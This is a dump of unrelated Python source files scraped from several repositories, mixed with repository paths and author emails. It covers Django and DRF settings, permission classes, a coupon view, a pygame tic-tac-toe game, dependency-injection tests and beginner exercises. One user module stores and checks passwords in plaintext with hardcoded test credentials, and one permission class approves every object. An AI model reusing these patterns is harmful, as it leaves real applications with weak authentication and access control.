'DESCRIPTION': '', 'TOS': None, # Optional: MAY contain "name", "url", "email" 'CONTACT': {}, # Optional: MUST contain "name", MAY contain URL 'LICENSE': {}, 'VERSION': '0.0.0', # Optional list of servers. # Each entry MUST contain "url", MAY contain "description", "variables" 'SERVERS': [], # Tags defined in the global scope 'TAGS': [], # Optional: MUST contain 'url', may contain "description" 'EXTERNAL_DOCS': {}, # Oauth2 related settings. used for example by django-oauth2-toolkit. # https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.3.md#oauth-flows-object 'OAUTH2_FLOWS': [], 'OAUTH2_AUTHORIZATION_URL': None, 'OAUTH2_TOKEN_URL': None, 'OAUTH2_REFRESH_URL': None, 'OAUTH2_SCOPES': None, } IMPORT_STRINGS = [ 'SCHEMA_AUTHENTICATION_CLASSES', 'DEFAULT_GENERATOR_CLASS', 'SERVE_PERMISSIONS', 'POSTPROCESSING_HOOKS', 'PREPROCESSING_HOOKS', 'GET_LIB_DOC_EXCLUDES', 'GET_MOCK_REQUEST', ] spectacular_settings = APISettings( user_settings=getattr(settings, 'SPECTACULAR_SETTINGS', {}), defaults=SPECTACULAR_DEFAULTS, import_strings=IMPORT_STRINGS, )

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/modules/sites/__init__.py

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""" Copyright (c) 2015-2020 Raj Patel(raj454raj@gmail.com), StopStalk Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import codechef import codeforces import spoj import hackerearth import hackerrank import uva import timus

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raj454raj@gmail.com

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/backend/authentication/permission.py

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crabfishxy/SE-TSS

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from rest_framework import permissions class RegisterCheck(permissions.BasePermission): def has_permission(self, request, view): type = request.user.user_type if not type == 4: return False else: return True class StudentCheck(permissions.BasePermission): def has_permission(self, request, view): url = "/api/student/" type = request.user.user_type path = request._request.path # all info if path == url: if type == 3 or type == 4: return True # some info else: if type == 1 or type == 3 or type == 4: return True return False def has_object_permission(self, request, view, obj): type = request.user.user_type if type == 1: if request.user.username == obj.username.username: return True else: return False else: return True class FacultyCheck(permissions.BasePermission): def has_permission(self, request, view): url = "/api/faculty/" type = request.user.user_type path = request._request.path # all info if path == url: if type == 3 or type == 4: return True # some info else: if type == 2 or type == 3 or type == 4: return True return False def has_object_permission(self, request, view, obj): type = request.user.user_type if type == 2: if request.user.username == obj.name: return True else: return False else: return True class StaffCheck(permissions.BasePermission): def has_permission(self, request, view): url = "/api/staff/" type = request.user.user_type path = request._request.path # all info if path == url: if type == 4: return True # some info else: if type == 3 or type == 4: return True return False def has_object_permission(self, request, view, obj): type = request.user.user_type if type == 3: if request.user.username == obj.name: return True else: return False else: return True class AdminCheck(permissions.BasePermission): def has_permission(self, request, view): url = "/api/admin/" type = request.user.user_type path = request._request.path # all info if type == 4: return True return False def has_object_permission(self, request, view, obj): type = request.user.user_type if type == 4: if request.user.username == obj.name: return True else: return False else: return True class CourseCheck(permissions.BasePermission): def has_permission(self, request, view): type = request.user.user_type if type == 2 or type == 3 or type == 4: return True return False def has_object_permission(self, request, view, obj): print(request) print('1') return True

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from perset import PerSet from random import uniform filename = "training.txt" max_words = 0 max_letters = 0 for line in open(filename, "r").read().split('\n'): if len(line.split('/')[0].split()) > max_words: max_words = len(line.split('/')[0].split()) for word in line.split('/')[0].split(): if len(word) > max_letters: max_letters = len(word) set1 = PerSet({l: uniform(0.0, 1.0) for l in "abcdefghijklmnopqrstuvwxyz"}, [[uniform(-4.0, 4.0) for l in range(max_letters)] for w in range(max_words)], [[uniform(-4.0, 4.0) for j in range(3)] for i in range(max_words)]) set1.train(filename) print(set1.err)

[ "silverwolf4350@gmail.com" ]

silverwolf4350@gmail.com

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LeslieMooyaart/patients-analysis

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import sys """Adding documentation locally Adding documentation remotely""" count = 0 for line in sys.stdin: count += 1 print(count, 'lines in standard input')

[ "l.f.mooyaart@tudelft.nl" ]

l.f.mooyaart@tudelft.nl

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/exception_example.py

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''' def div42by(divideBy): return 42 /divideBy try: print(div42by(1)) print(div42by(1)) print(div42by(0)) print(div42by(1)) except ZeroDivisionError: print("You have tried to divide by 0") finally: print("This is finally done") ''' play = True while play: print("How many cats do you have?") numCats = input() try: if int(numCats) >= 4: print("Wow that is a lot of cats!") elif int(numCats) < 0: myError = ValueError('# of cats should be a positive number') raise myError else: print("Not that many cats") break except ValueError: print("Not in integer, try again") play = input("Again?").lower() if play == 'y': play = True else: play = False

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/new/csvproject/csvproject/asgi.py

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""" ASGI config for csvproject project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.2/howto/deployment/asgi/ """ import os from django.core.asgi import get_asgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'csvproject.settings') application = get_asgi_application()

[ "pranavsharma.bluethink@gmail.com" ]

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/blue_garden/usr_login/usersdict.py

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no_license

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2021-01-10T09:50:31.239944

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#make dict of users testuser = 'jlock' testpass = 'jlock' usr_dict = {} def usrdict(): with open('users','r') as u: for each in u: usrname, usrpass = each.split() usr_dict[usrname] = usrpass #return usrdict def authuser(nombre,llave): usrdict() if nombre in usr_dict: if usr_dict[nombre] == llave: return True def newuser(nombre,llave): usrdict() with open('users','a') as u: if nombre not in usr_dict: #u.write(nombre + ' ' + llave + '/n') #appending to the same line.. print (nombre + ' ' + llave, file=u) def rm_usr(nombre,llave): tmp = [] with open('users','r') as u: for line in u: if nombre+' '+llave not in line: tmp.append(line) with open('users','w') as u: for line in tmp: print(line.strip(), file=u)

[ "jloc8749@uni.syd.edu.au" ]

jloc8749@uni.syd.edu.au

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/commercia/products/management/commands/remove_categories.py

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no_license

commoncode/economica

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from django.core.management.base import BaseCommand from ...models import Category class Command(BaseCommand): help = 'Clean up Menus' def handle(self, *args, **options): Category.objects.all().delete()

[ "dboy.y3k@gmail.com" ]

dboy.y3k@gmail.com

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/parts/wrapper/zope/component/event.py

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no_license

topiaruss/bfg-gae-logger

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2021-01-20T04:40:05.194810

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/Users/russ/.common/sh/.buildout/eggs/zope.component-3.9.4-py2.5.egg/zope/component/event.py

[ "russf@topia.com" ]

russf@topia.com

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/BJ/sort/수정렬하기2/mergeSort.py

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no_license

wseungjin/AlgorithmCoding

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# f = open("input.txt", 'r') # line = f.readline() line = input() num = int(line) array = [] for i in range(num): # line = f.readline() line = input() array.append(int(line)) def mergeSort(list): if(len(list)<=1): return list mid = len(list)//2 leftList = list[0:mid] rightList = list[mid:len(list)] leftList=mergeSort(leftList) rightList=mergeSort(rightList) return merge(leftList,rightList) def merge(left,right): mergedList =[] while len(left) != 0 or len(right) != 0: if len(left) == 0: mergedList.append(right[0]) right.pop(0) elif len(right) == 0: mergedList.append(left[0]) left.pop(0) elif(left[0]>right[0]): mergedList.append(right[0]) right.pop(0) else: mergedList.append(left[0]) left.pop(0) return mergedList array=mergeSort(array) for i in range(num): print(array[i])

[ "bose1021@naver.com" ]

bose1021@naver.com

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/coupons/views.py

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[]

no_license

onealwills/myshop

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refs/heads/main

2023-07-06T02:01:59.233570

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from django.shortcuts import render, redirect from django.utils import timezone from django.views.decorators.http import require_POST from .models import Coupon from .forms import CouponApplyForm # Create your views here. @require_POST def coupon_apply(request): now = timezone.now() form = CouponApplyForm(request.POST) if form.is_valid(): code = form.cleaned_data['code'] try: coupon = Coupon.objects.get(code__iexact=code, valid_from__lte=now, valid_to__gte=now, active=True) request.session['coupon_id'] = coupon.id except Coupon.DoesNotExist: request.session['coupon_id'] = None return redirect('cart:cart_detail')

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nome = input("Qual seu nome?") print("Prazer em te conhecer, {}!".format(nome))

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#!/usr/bin/env python import sys from os.path import dirname, join, pardir sys.path.insert(0, join(dirname(__file__), pardir, 'share', 'blogtk2', 'lib')) from blogtk2 import main main()

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import pygame import sys import time import tictactoe as ttt pygame.init() size = width, height = 600, 400 # Colors black = (0, 0, 0) white = (255, 255, 255) screen = pygame.display.set_mode(size) mediumFont = pygame.font.Font("OpenSans-Regular.ttf", 28) largeFont = pygame.font.Font("OpenSans-Regular.ttf", 40) moveFont = pygame.font.Font("OpenSans-Regular.ttf", 60) user = None board = ttt.initial_state() ai_turn = False while True: for event in pygame.event.get(): if event.type == pygame.QUIT: sys.exit() screen.fill(black) # Let user choose a player. if user is None: # Draw title title = largeFont.render("Play Tic-Tac-Toe", True, white) titleRect = title.get_rect() titleRect.center = ((width / 2), 50) screen.blit(title, titleRect) # Draw buttons playXButton = pygame.Rect((width / 8), (height / 2), width / 4, 50) playX = mediumFont.render("Play as X", True, black) playXRect = playX.get_rect() playXRect.center = playXButton.center pygame.draw.rect(screen, white, playXButton) screen.blit(playX, playXRect) playOButton = pygame.Rect(5 * (width / 8), (height / 2), width / 4, 50) playO = mediumFont.render("Play as O", True, black) playORect = playO.get_rect() playORect.center = playOButton.center pygame.draw.rect(screen, white, playOButton) screen.blit(playO, playORect) # Check if button is clicked click, _, _ = pygame.mouse.get_pressed() if click == 1: mouse = pygame.mouse.get_pos() if playXButton.collidepoint(mouse): time.sleep(0.2) user = ttt.X elif playOButton.collidepoint(mouse): time.sleep(0.2) user = ttt.O else: # Draw game board tile_size = 80 tile_origin = (width / 2 - (1.5 * tile_size), height / 2 - (1.5 * tile_size)) tiles = [] for i in range(3): row = [] for j in range(3): rect = pygame.Rect( tile_origin[0] + j * tile_size, tile_origin[1] + i * tile_size, tile_size, tile_size ) pygame.draw.rect(screen, white, rect, 3) if board[i][j] != ttt.EMPTY: move = moveFont.render(board[i][j], True, white) moveRect = move.get_rect() moveRect.center = rect.center screen.blit(move, moveRect) row.append(rect) tiles.append(row) game_over = ttt.terminal(board) player = ttt.player(board) # Show title if game_over: winner = ttt.winner(board) if winner is None: title = f"Game Over: Tie." else: title = f"Game Over: {winner} wins." elif user == player: title = f"Play as {user}" else: title = f"Computer thinking..." title = largeFont.render(title, True, white) titleRect = title.get_rect() titleRect.center = ((width / 2), 30) screen.blit(title, titleRect) # Check for AI move if user != player and not game_over: if ai_turn: time.sleep(0.5) move = ttt.minimax(board) board = ttt.result(board, move) ai_turn = False else: ai_turn = True # Check for a user move click, _, _ = pygame.mouse.get_pressed() if click == 1 and user == player and not game_over: mouse = pygame.mouse.get_pos() for i in range(3): for j in range(3): if (board[i][j] == ttt.EMPTY and tiles[i][j].collidepoint(mouse)): board = ttt.result(board, (i, j)) if game_over: againButton = pygame.Rect(width / 3, height - 65, width / 3, 50) again = mediumFont.render("Play Again", True, black) againRect = again.get_rect() againRect.center = againButton.center pygame.draw.rect(screen, white, againButton) screen.blit(again, againRect) click, _, _ = pygame.mouse.get_pressed() if click == 1: mouse = pygame.mouse.get_pos() if againButton.collidepoint(mouse): time.sleep(0.2) user = None board = ttt.initial_state() ai_turn = False pygame.display.flip()

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import itertools from typing import Any, Callable, Optional, Tuple, Type, Union import pytest from antidote import Constants, Factory, Provide, Service, world, service from antidote._compatibility.typing import Protocol from antidote.core import Wiring class Interface: pass class FactoryOutput: pass class FactoryOutput2: pass class A: pass class B: pass @pytest.fixture(autouse=True) def new_world(): with world.test.new(): world.test.singleton({A: A(), B: B(), 'a': object(), 'b': object(), 'x': object(), 'y': object(), 'z': object()}) yield class DummyProtocol(Protocol): a: A b: B def __init__(self, a: A = None, b: B = None): pass def method_AB(self, a: A = None, b: B = None) -> Tuple[A, B]: pass def method_ab(self, a=None, b=None) -> Tuple[Any, Any]: pass def method_xyz(self, x=None, y=None, z=None) -> Tuple[Any, Any, Any]: pass DEFAULT_WIRING = object() def builder(cls_or_decorator: Union[type, Callable[..., Any]], wiring_kind: str = 'Wiring', subclass: bool = False): meta_kwargs = dict(abstract=True) if subclass else dict() if isinstance(cls_or_decorator, type): cls = cls_or_decorator def decorator(wiring=None): return lambda x: x else: cls = object decorator = cls_or_decorator def build(wiring: Wiring = None): decorate = (decorator(wiring=wiring) if wiring is not DEFAULT_WIRING else decorator()) @decorate class Dummy(cls, **meta_kwargs): if wiring is not DEFAULT_WIRING and cls is not object: if wiring is not None: if wiring_kind == 'Wiring': __antidote__ = cls.Conf(wiring=wiring) else: __antidote__ = cls.Conf().with_wiring(**{ attr: getattr(wiring, attr) for attr in Wiring.__slots__ }) else: __antidote__ = cls.Conf(wiring=None) def __init__(self, a: Provide[A] = None, b: Provide[B] = None): super().__init__() self.a = a self.b = b def method_AB(self, a: A = None, b: B = None) -> Tuple[A, B]: return a, b def method_ab(self, a=None, b=None) -> Tuple[Any, Any]: return a, b def method_xyz(self, x=None, y=None, z=None) -> Tuple[Any, Any, Any]: return x, y, z def __call__(self) -> FactoryOutput: # for Factory pass def get(self): # for Constants pass if subclass: class SubDummy(Dummy): def __call__(self) -> FactoryOutput2: # for Factory pass return SubDummy else: return Dummy return build @pytest.fixture(params=[ pytest.param((builder, service), id="@service"), *[ pytest.param((builder, c, w), id=f"{c.__name__} - {w}") for (c, w) in itertools.product([Factory, Service, Constants], ['with_wiring', 'Wiring']) ] ]) def class_builder(request): f, *args = request.param return f(*args) @pytest.fixture(params=[ pytest.param((c, w), id=f"{c.__name__} - w") for (c, w) in itertools.product([Factory, Service, Constants], ['with_wiring', 'Wiring']) ]) def subclass_builder(request): (cls, wiring_kind) = request.param return builder(cls, wiring_kind, subclass=True) F = Callable[[Optional[Wiring]], Type[DummyProtocol]] def test_default(class_builder: F): dummy = class_builder(DEFAULT_WIRING)() assert dummy.a is world.get(A) assert dummy.b is world.get(B) (a, b) = dummy.method_AB() assert a is None assert b is None def test_no_wiring(class_builder: F): dummy = class_builder(None)() assert dummy.a is None assert dummy.b is None def test_methods(class_builder: F): dummy = class_builder(Wiring(methods=('__init__',)))() assert dummy.a is world.get(A) assert dummy.b is world.get(B) (a, b) = dummy.method_AB() assert a is None assert b is None dummy = class_builder(Wiring(methods=('method_AB',), auto_provide=True))() assert dummy.a is None assert dummy.b is None (a, b) = dummy.method_AB() assert a is world.get(A) assert b is world.get(B) def test_auto_provide(class_builder: F): # Uses type hints by default dummy = class_builder(Wiring(methods=('method_AB',)))() (a, b) = dummy.method_AB() assert a is None assert b is None dummy = class_builder(Wiring(methods=('method_AB',), auto_provide=True))() (a, b) = dummy.method_AB() assert a is world.get(A) assert b is world.get(B) dummy = class_builder(Wiring(methods=('method_AB',), auto_provide=False))() (a, b) = dummy.method_AB() assert a is None assert b is None dummy = class_builder(Wiring(methods=('method_AB',), auto_provide=[A]))() (a, b) = dummy.method_AB() assert a is world.get(A) assert b is None dummy = class_builder(Wiring(methods=('method_AB',), auto_provide=lambda cls: True))() (a, b) = dummy.method_AB() assert a is world.get(A) assert b is world.get(B) dummy = class_builder(Wiring(methods=('method_AB',), auto_provide=lambda cls: issubclass(cls, A)))() (a, b) = dummy.method_AB() assert a is world.get(A) assert b is None dummy = class_builder(Wiring(methods=('method_AB',), auto_provide=lambda cls: False))() (a, b) = dummy.method_AB() assert a is None assert b is None def test_dependencies_dict(class_builder: F): dummy = class_builder(Wiring(dependencies=dict(), auto_provide=True))() assert dummy.a is world.get(A) assert dummy.b is world.get(B) (a, b) = dummy.method_AB() assert a is world.get(A) assert b is world.get(B) (a, b) = dummy.method_ab() assert a is None assert b is None dummy = class_builder(Wiring(dependencies=dict(a='x', b='y'), auto_provide=True))() assert dummy.a is world.get(A) assert dummy.b is world.get(B) (a, b) = dummy.method_AB() assert a is world.get('x') assert b is world.get('y') (a, b) = dummy.method_ab() assert a is world.get('x') assert b is world.get('y') dummy = class_builder(Wiring(dependencies=dict(b='y'), auto_provide=True))() assert dummy.a is world.get(A) assert dummy.b is world.get(B) (a, b) = dummy.method_AB() assert a is world.get(A) assert b is world.get('y') (a, b) = dummy.method_ab() assert a is None assert b is world.get('y') def test_dependencies_seq(class_builder: F): dummy = class_builder(Wiring(dependencies=[], auto_provide=True))() assert dummy.a is world.get(A) assert dummy.b is world.get(B) (a, b) = dummy.method_AB() assert a is world.get(A) assert b is world.get(B) (a, b) = dummy.method_ab() assert a is None assert b is None dummy = class_builder(Wiring(dependencies=[None, None], auto_provide=True))() assert dummy.a is world.get(A) assert dummy.b is world.get(B) (a, b) = dummy.method_AB() assert a is world.get(A) assert b is world.get(B) (a, b) = dummy.method_ab() assert a is None assert b is None dummy = class_builder(Wiring(dependencies=['x', 'y'], auto_provide=True))() assert dummy.a is world.get(A) assert dummy.b is world.get(B) (a, b) = dummy.method_AB() assert a is world.get('x') assert b is world.get('y') (a, b) = dummy.method_ab() assert a is world.get('x') assert b is world.get('y') dummy = class_builder(Wiring(dependencies=[None, 'y'], auto_provide=True))() assert dummy.a is world.get(A) assert dummy.b is world.get(B) (a, b) = dummy.method_AB() assert a is world.get(A) assert b is world.get('y') (a, b) = dummy.method_ab() assert a is None assert b is world.get('y') dummy = class_builder(Wiring(dependencies=['x', None], auto_provide=True))() assert dummy.a is world.get(A) assert dummy.b is world.get(B) (a, b) = dummy.method_AB() assert a is world.get('x') assert b is world.get(B) (a, b) = dummy.method_ab() assert a is world.get('x') assert b is None def test_dependencies_callable(class_builder: F): dummy = class_builder(Wiring(dependencies=lambda arg: None, auto_provide=True))() assert dummy.a is world.get(A) assert dummy.b is world.get(B) (a, b) = dummy.method_AB() assert a is world.get(A) assert b is world.get(B) (a, b) = dummy.method_ab() assert a is None assert b is None dummy = class_builder(Wiring(dependencies=lambda arg: 'x' if arg.name == 'a' else 'y', auto_provide=True))() assert dummy.a is world.get(A) assert dummy.b is world.get(B) (a, b) = dummy.method_AB() assert a is world.get('x') assert b is world.get('y') (a, b) = dummy.method_ab() assert a is world.get('x') assert b is world.get('y') dummy = class_builder(Wiring( dependencies=lambda arg: 'x' if arg.name == 'a' else None, auto_provide=True))() assert dummy.a is world.get(A) assert dummy.b is world.get(B) (a, b) = dummy.method_AB() assert a is world.get('x') assert b is world.get(B) (a, b) = dummy.method_ab() assert a is world.get('x') assert b is None def test_distinct_arguments(class_builder: F): # Having more arguments in dependencies seq is not an issue for methods having less. dummy = class_builder(Wiring(methods=('method_AB', 'method_xyz'), dependencies=['x', None, 'z'], auto_provide=True))() (a, b) = dummy.method_AB() assert a is world.get('x') assert b is world.get(B) (x, y, z) = dummy.method_xyz() assert x is world.get('x') assert y is None assert z is world.get('z') # Unknown argument in the dependencies dict won't raise an error. dummy = class_builder(Wiring(methods=('method_AB', 'method_xyz'), dependencies=dict(b='b', y='y'), auto_provide=True))() (a, b) = dummy.method_AB() assert a is world.get(A) assert b is world.get('b') (x, y, z) = dummy.method_xyz() assert x is None assert y is world.get('y') assert z is None # type_hints dummy = class_builder(Wiring(methods=('method_AB', 'method_xyz'), auto_provide=[A]))() (a, b) = dummy.method_AB() assert a is world.get(A) assert b is None (x, y, z) = dummy.method_xyz() assert x is None assert y is None assert z is None

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Surgeon-76/KaPythoshka

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def print_text(text, num): while num > 0: print(text, end='') num -= 1 print_text('Python', 4)

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kj0y/edX-MITx-6.00.1x

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# -*- coding: utf-8 -*- """ Created on Sun Aug 5 14:29:40 2018 @author: kandi """ def genPrimes(): primes = [] numerator = 2 last = numerator while True: for denom in primes: if numerator % denom == 0: numerator += 1 break else: primes.append(numerator) last = numerator numerator += 1 yield last

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